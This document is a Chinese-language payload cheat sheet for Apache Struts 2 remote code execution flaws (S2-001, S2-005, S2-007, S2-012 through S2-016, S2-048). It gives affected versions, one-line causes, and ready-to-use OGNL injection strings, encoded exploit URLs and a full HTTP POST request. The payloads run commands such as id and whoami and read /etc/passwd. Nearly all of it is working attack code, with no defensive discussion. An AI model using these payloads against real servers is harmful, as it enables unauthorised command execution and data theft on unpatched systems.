Struts 2相关漏洞payload

0x00 S2-001

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

0x01 S2-005

影响版本: 2.0.0 - 2.1.8.1

http://aa.com/index.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

0x02 S2-007

影响版本: 2.0.0 - 2.2.3

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

0x03 S2-012

影响版本: 2.1.0 - 2.3.13

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

0x04 S2-013/S2-014

影响版本: 2.0.0 - 2.3.14.1

http://aa.com/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

0x05 S2-015

影响版本: 2.0.0 - 2.3.14.2

http://aa.com/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

0x06 S2-016

影响版本: 2.0.0 - 2.3.15

http://aa.com/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec('whoami').getInputStream%28%29%29%7D

0x07 S2-048

影响版本: 2.0.0 - 2.3.32

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
POST /integration/saveGangster.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://127.0.0.1:8080/integration/editGangster.action
Cookie: a9866_times=4; __tins__19363536=%7B%22sid%22%3A%201531056473976%2C%20%22vd%22%3A%2010%2C%20%22expires%22%3A%201531060061844%7D; __51cke__=; __51laig__=10; JSESSIONID=7D9CB20E109D34C5B9C3CF8E3C356267
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 684

name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec('pwd').getInputStream%28%29%29%29.%28%23q%29%7D&age=111&__checkbox_bustedBefore=true&description=1111
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